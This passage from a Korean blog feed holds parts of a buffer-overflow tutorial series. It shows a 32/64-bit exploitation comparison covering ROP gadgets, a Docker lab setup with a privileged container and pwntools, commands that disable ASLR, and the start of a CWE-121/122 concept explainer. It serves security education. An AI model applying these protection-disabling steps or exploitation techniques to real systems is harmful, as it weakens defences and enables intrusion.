&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 32비트 vs 64비트 차이 정리&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 32비트 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 64비트 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;함수 인자 전달&lt;/td&gt;
&lt;td&gt;스택으로 전달&lt;/td&gt;
&lt;td&gt;레지스터(rdi)로 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Return Address 크기&lt;/td&gt;
&lt;td&gt;4바이트&lt;/td&gt;
&lt;td&gt;8바이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;null byte 문제&lt;/td&gt;
&lt;td&gt;거의 없음&lt;/td&gt;
&lt;td&gt;항상 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ROP 가젯 필요 여부&lt;/td&gt;
&lt;td&gt;불필요&lt;/td&gt;
&lt;td&gt;필요 (pop rdi, ret)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스택 정렬&lt;/td&gt;
&lt;td&gt;불필요&lt;/td&gt;
&lt;td&gt;16바이트 정렬 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;페이로드 전달 방식&lt;/td&gt;
&lt;td&gt;argv 가능&lt;/td&gt;
&lt;td&gt;stdin 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 마무리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 실습에서 보호 기법을 모두 끈 상태에서 진행했는데, 실제 환경에서는 ASLR, 스택 카나리, DEP가 켜져 있어서 훨씬 복잡한 기법이 필요하다. 다음 실습에서는 보호 기법을 하나씩 켜면서 어떻게 막히는지, 그리고 각 보호 기법을 우회하는 방법을 다뤄볼 예정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 나은 방법이나 개선점이 있다면 댓글로 공유해주세요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 블로그의 관련 글:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://y0-0ns.tistory.com/22&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;버퍼 오버플로우 개념 정리 (CWE-121/122)&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://y0-0ns.tistory.com/23&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;버퍼 오버플로우 실습 1편 - 환경 구성&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pwntools.com&quot;&gt;pwntools 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JonathanSalwan/ROPgadget&quot;&gt;ROPgadget 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/122.html&quot;&gt;MITRE CWE-122&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보 보안/모의해킹</category>
      <category>32비트</category>
      <category>64비트</category>
      <category>bufferoverflow</category>
      <category>GDB</category>
      <category>pwntools</category>
      <category>ROP</category>
      <category>버퍼오버플로우</category>
      <category>보안실습</category>
      <category>익스플로잇</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/24</guid>
      <comments>https://y0-0ns.tistory.com/24#entry24comment</comments>
      <pubDate>Wed, 8 Jul 2026 12:37:18 +0900</pubDate>
    </item>
    <item>
      <title>버퍼 오버플로우 실습 환경 구성 - Docker 설치부터 컨테이너 생성까지</title>
      <link>https://y0-0ns.tistory.com/23</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-size: 1.62em;&quot;&gt;1. 들어가며&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버퍼 오버플로우를 직접 실습해보고 싶었는데, 내 PC에 바로 설치하기엔 부담스러워서 Docker 컨테이너를 활용했다. 실습 환경 특성상 보호 기법을 비활성화해야 하는데, 컨테이너 안에서 하면 내 PC에 영향이 없어서 마음 편하게 진행할 수 있었다. Docker 설치부터 컨테이너 생성까지 막히는 부분이 꽤 있었는데 그 과정을 그대로 정리해봤다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Docker가 뭔지&lt;/h2&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;Docker = 컨테이너 기반 가상화 도구

컨테이너 = 내 PC 안에 독립된 가상 환경
           &amp;rarr; 내 PC에 영향 없이 실습 가능
           &amp;rarr; 망가지면 그냥 삭제하고 새로 만들면 됨&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 사전 확인 - 가상화 활성화 여부&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker 설치 전에 가상화가 활성화되어 있는지 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확인 방법:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;작업관리자 열기 (Ctrl+Shift+Esc)
&amp;rarr; 성능 탭
&amp;rarr; CPU 선택
&amp;rarr; 우측 하단 &quot;가상화: 사용&quot; 확인&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡쳐1.png&quot; data-origin-width=&quot;987&quot; data-origin-height=&quot;870&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/leaWd/dJMcafUOwC3/pG8GYxUUAt3q2dYE75zZK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/leaWd/dJMcafUOwC3/pG8GYxUUAt3q2dYE75zZK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/leaWd/dJMcafUOwC3/pG8GYxUUAt3q2dYE75zZK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FleaWd%2FdJMcafUOwC3%2FpG8GYxUUAt3q2dYE75zZK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;987&quot; height=&quot;870&quot; data-filename=&quot;캡쳐1.png&quot; data-origin-width=&quot;987&quot; data-origin-height=&quot;870&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상화가 비활성화되어 있으면 BIOS에서 Intel VT-x 또는 AMD-V를 활성화해야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. WSL2 설치&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Desktop은 내부적으로 WSL2(Windows Subsystem for Linux)가 필요하다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WSL2란?&lt;br /&gt;윈도우 안에서 리눅스를 실행할 수 있게 해주는 기능. Docker가 내부적으로 리눅스 기반이라 WSL2가 필요하다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PowerShell을 &lt;b&gt;관리자 권한&lt;/b&gt;으로 실행 후 입력:&lt;/p&gt;
&lt;pre class=&quot;ada&quot;&gt;&lt;code&gt;wsl --install&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;완료 후 &lt;b&gt;재부팅&lt;/b&gt; 필수.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. Docker Desktop 설치&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 사이트에서 다운로드:&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;https://www.docker.com/products/docker-desktop/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CPU 종류별 다운로드 버전:&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; CPU &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 버전 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intel Core, AMD Ryzen&lt;/td&gt;
&lt;td&gt;AMD64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;퀄컴 스냅드래곤 (2024년 이후 일부 노트북)&lt;/td&gt;
&lt;td&gt;ARM64&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AMD64는 CPU 제조사 이름이 아니라 64비트 명령어 아키텍처 이름이다. Intel CPU도 같은 방식을 채택해서 Intel이든 AMD든 둘 다 AMD64를 사용한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설치 시 체크박스:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ada&quot;&gt;&lt;code&gt;✅ Use WSL 2 instead of Hyper-V (반드시 체크)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Docker Subscription Service Agreement&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡쳐2.png&quot; data-origin-width=&quot;1205&quot; data-origin-height=&quot;754&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1bvM7/dJMcajbIv6D/gXNb3x1aAtCKdyWVkS5rKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1bvM7/dJMcajbIv6D/gXNb3x1aAtCKdyWVkS5rKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1bvM7/dJMcajbIv6D/gXNb3x1aAtCKdyWVkS5rKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1bvM7%2FdJMcajbIv6D%2FgXNb3x1aAtCKdyWVkS5rKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1205&quot; height=&quot;754&quot; data-filename=&quot;캡쳐2.png&quot; data-origin-width=&quot;1205&quot; data-origin-height=&quot;754&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Docker Desktop을 처음 실행하면 아래와 같은 구독 동의 화면이 뜬다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;개인 실습 목적이라면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Accept&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;를 누르면 무료로 사용 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. Docker 설치 확인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CMD를 새로 열고:&lt;/p&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;docker --version
docker run hello-world&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정상 출력:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;Hello from Docker!
This message shows that your installation appears to be working correctly.&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡쳐6.png&quot; data-origin-width=&quot;1385&quot; data-origin-height=&quot;661&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pEKRY/dJMcaaeTzCM/EYSs6ah36q2Ewqvk1IAVak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pEKRY/dJMcaaeTzCM/EYSs6ah36q2Ewqvk1IAVak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pEKRY/dJMcaaeTzCM/EYSs6ah36q2Ewqvk1IAVak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpEKRY%2FdJMcaaeTzCM%2FEYSs6ah36q2Ewqvk1IAVak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1385&quot; height=&quot;661&quot; data-filename=&quot;캡쳐6.png&quot; data-origin-width=&quot;1385&quot; data-origin-height=&quot;661&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 실습용 컨테이너 생성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버퍼 오버플로우 실습에는 ASLR을 비활성화할 수 있는 특권 모드 컨테이너가 필요하다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;docker run -it --privileged --name bof_practice ubuntu:20.04 /bin/bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;명령어 설명:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;docker run     : 컨테이너 생성 및 실행
-it            : 터미널 입출력 활성화
--privileged   : 특권 모드 (ASLR 비활성화 가능)
--name bof_practice : 컨테이너 이름 지정
ubuntu:20.04   : Ubuntu 20.04 이미지 사용
/bin/bash      : bash 쉘 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 후 프롬프트가 아래처럼 바뀌면 컨테이너 안으로 들어온 것이다:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡쳐3.png&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;311&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwLWQ6/dJMb991mup0/EHxBoGke69PBKLRmNVH6e1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwLWQ6/dJMb991mup0/EHxBoGke69PBKLRmNVH6e1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwLWQ6/dJMb991mup0/EHxBoGke69PBKLRmNVH6e1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwLWQ6%2FdJMb991mup0%2FEHxBoGke69PBKLRmNVH6e1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1092&quot; height=&quot;311&quot; data-filename=&quot;캡쳐3.png&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;311&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. 필요한 도구 설치&lt;/h2&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;apt-get update
apt-get install -y gcc gdb python3 python3-pip vim gcc-multilib
pip3 install pwntools ROPgadget&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설치 항목 설명:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;gcc         : C언어 컴파일러
gdb         : 메모리 디버거
python3     : 익스플로잇 페이로드 생성
gcc-multilib: 32비트 컴파일 지원
pwntools    : 익스플로잇 전용 파이썬 라이브러리
ROPgadget   : ROP 가젯 검색 도구 (64비트 익스플로잇에 필요)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡쳐4.png&quot; data-origin-width=&quot;1428&quot; data-origin-height=&quot;705&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UpIgs/dJMcadbuNWQ/KtmWr5DIMZ0ABIpjR6b4H0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UpIgs/dJMcadbuNWQ/KtmWr5DIMZ0ABIpjR6b4H0/img.png&quot; data-alt=&quot;설치 완료 후 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UpIgs/dJMcadbuNWQ/KtmWr5DIMZ0ABIpjR6b4H0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUpIgs%2FdJMcadbuNWQ%2FKtmWr5DIMZ0ABIpjR6b4H0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1428&quot; height=&quot;705&quot; data-filename=&quot;캡쳐4.png&quot; data-origin-width=&quot;1428&quot; data-origin-height=&quot;705&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설치 완료 후 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;9. ASLR 비활성화&lt;/h2&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;0&lt;/code&gt; 이 출력되면 ASLR 비활성화 성공이다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ASLR이란?&lt;br /&gt;실행할 때마다 메모리 주소를 랜덤으로 바꾸는 보안 기법. 실습에서는 주소를 고정시켜야 익스플로잇이 가능하므로 비활성화한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡쳐5.png&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;105&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvp62V/dJMcahE0PYH/r0UCec7msLtTwkX6AIzJCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvp62V/dJMcahE0PYH/r0UCec7msLtTwkX6AIzJCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvp62V/dJMcahE0PYH/r0UCec7msLtTwkX6AIzJCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbvp62V%2FdJMcahE0PYH%2Fr0UCec7msLtTwkX6AIzJCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;802&quot; height=&quot;105&quot; data-filename=&quot;캡쳐5.png&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;105&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;10. 컨테이너 재접속 방법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Desktop을 껐다가 다시 실행할 때:&lt;/p&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;docker start bof_practice
docker exec -it bof_practice /bin/bash&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ 컨테이너를 재시작하면 ASLR이 다시 활성화될 수 있으니 재접속 후 반드시 확인할 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;11. 마무리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 버퍼 오버플로우 실습 환경이 준비됐다. 다음 글에서는 실제로 취약한 C 코드를 작성하고 32비트, 64비트 익스플로잇을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/desktop/setup/install/windows-install/&quot;&gt;Docker 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/ko-kr/windows/wsl/install&quot;&gt;WSL2 설치 가이드&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보 보안/모의해킹</category>
      <category>bufferoverflow</category>
      <category>docker</category>
      <category>Linux</category>
      <category>ubuntu</category>
      <category>버퍼오버플로우</category>
      <category>보안실습</category>
      <category>실습환경</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/23</guid>
      <comments>https://y0-0ns.tistory.com/23#entry23comment</comments>
      <pubDate>Wed, 8 Jul 2026 03:36:56 +0900</pubDate>
    </item>
    <item>
      <title>CWE-121/122: 버퍼 오버플로우(Buffer Overflow) 완전 정리 - 개념부터 실무 탐지까지</title>
      <link>https://y0-0ns.tistory.com/22</link>
      <description>&lt;h2 data-sourcepos=&quot;7:1-7:18;161-178&quot; data-ke-size=&quot;size26&quot;&gt;1. 이 글에서 다루는 것&lt;/h2&gt;
&lt;p data-sourcepos=&quot;9:1-9:172;180-351&quot; data-ke-size=&quot;size16&quot;&gt;보안 뉴스나 CVE 분석 글을 읽다 보면 &quot;버퍼 오버플로우(Buffer Overflow)&quot; 라는 단어가 자주 등장한다. 실제로 CVSS 9.0 이상의 치명적 취약점 중 상당수가 이 유형에 해당한다. 이 글에서는 버퍼 오버플로우가 무엇인지, 왜 위험한지, 그리고 실무에서 어떻게 탐지할 수 있는지를 정리한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-sourcepos=&quot;13:1-13:17;358-374&quot; data-ke-size=&quot;size26&quot;&gt;2. 버퍼 오버플로우란?&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;15:1-15:21;376-396&quot; data-ke-size=&quot;size23&quot;&gt;버퍼(Buffer)가 뭔지부터&lt;/h3&gt;
&lt;p data-sourcepos=&quot;17:1-17:80;398-477&quot; data-ke-size=&quot;size16&quot;&gt;버퍼란 프로그램이 데이터를 임시로 저장해두는 메모리 공간이다. 프로그램은 데이터를 처리하기 전에 일단 버퍼에 담아두고, 처리가 끝나면 비운다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;19:1-26:4;479-590&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;예시: DNS 응답을 받을 때
외부에서 DNS 응답 도착
        &amp;darr;
버퍼에 임시 저장 (크기: 512바이트로 미리 지정)
        &amp;darr;
프로그램이 버퍼에서 데이터를 꺼내 처리&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-sourcepos=&quot;28:1-28:24;592-615&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-sourcepos=&quot;28:1-28:24;592-615&quot; data-ke-size=&quot;size23&quot;&gt;오버플로우(Overflow)가 뭔지&lt;/h3&gt;
&lt;p data-sourcepos=&quot;30:1-30:62;617-678&quot; data-ke-size=&quot;size16&quot;&gt;오버플로우는 버퍼에 담을 수 있는 크기를 초과하는 데이터가 들어올 때 발생한다. 컵에 물이 넘치는 것과 같다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;32:1-38:4;680-779&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;버퍼 크기: 512바이트
들어온 데이터: 1024바이트

&amp;rarr; 512바이트를 초과한 512바이트가 버퍼 밖으로 넘쳐흐름
&amp;rarr; 버퍼 바로 옆에 있는 메모리 공간을 덮어씀&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-sourcepos=&quot;40:1-40:11;781-791&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-sourcepos=&quot;40:1-40:11;781-791&quot; data-ke-size=&quot;size23&quot;&gt;왜 위험하냐&lt;/h3&gt;
&lt;p data-sourcepos=&quot;42:1-42:109;793-901&quot; data-ke-size=&quot;size16&quot;&gt;버퍼 옆에는 프로그램이 &quot;다음에 뭘 실행할지&quot; 기억해두는 주소값(Return Address)이 저장되어 있다. 오버플로우로 이 주소를 덮어쓰면, 프로그램이 공격자가 원하는 코드를 실행하게 된다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;44:1-64:4;903-1374&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;less&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;[정상 상태]
┌─────────────────────┐
│  데이터 저장 공간    │  &amp;larr; 버퍼 (512바이트)
├─────────────────────┤
│  다음 실행 주소      │  &amp;larr; 0x00401234 (정상 코드 주소)
│  (Return Address)   │
└─────────────────────┘

[오버플로우 발생 후]
┌─────────────────────┐
│  AAAAAAAAAAAAAAAA   │
│  AAAAAAAAAAAAAAAA   │  &amp;larr; 버퍼를 초과한 데이터가 넘쳐흐름
│  AAAAAAAAAAAAAAAA   │
├─────────────────────┤
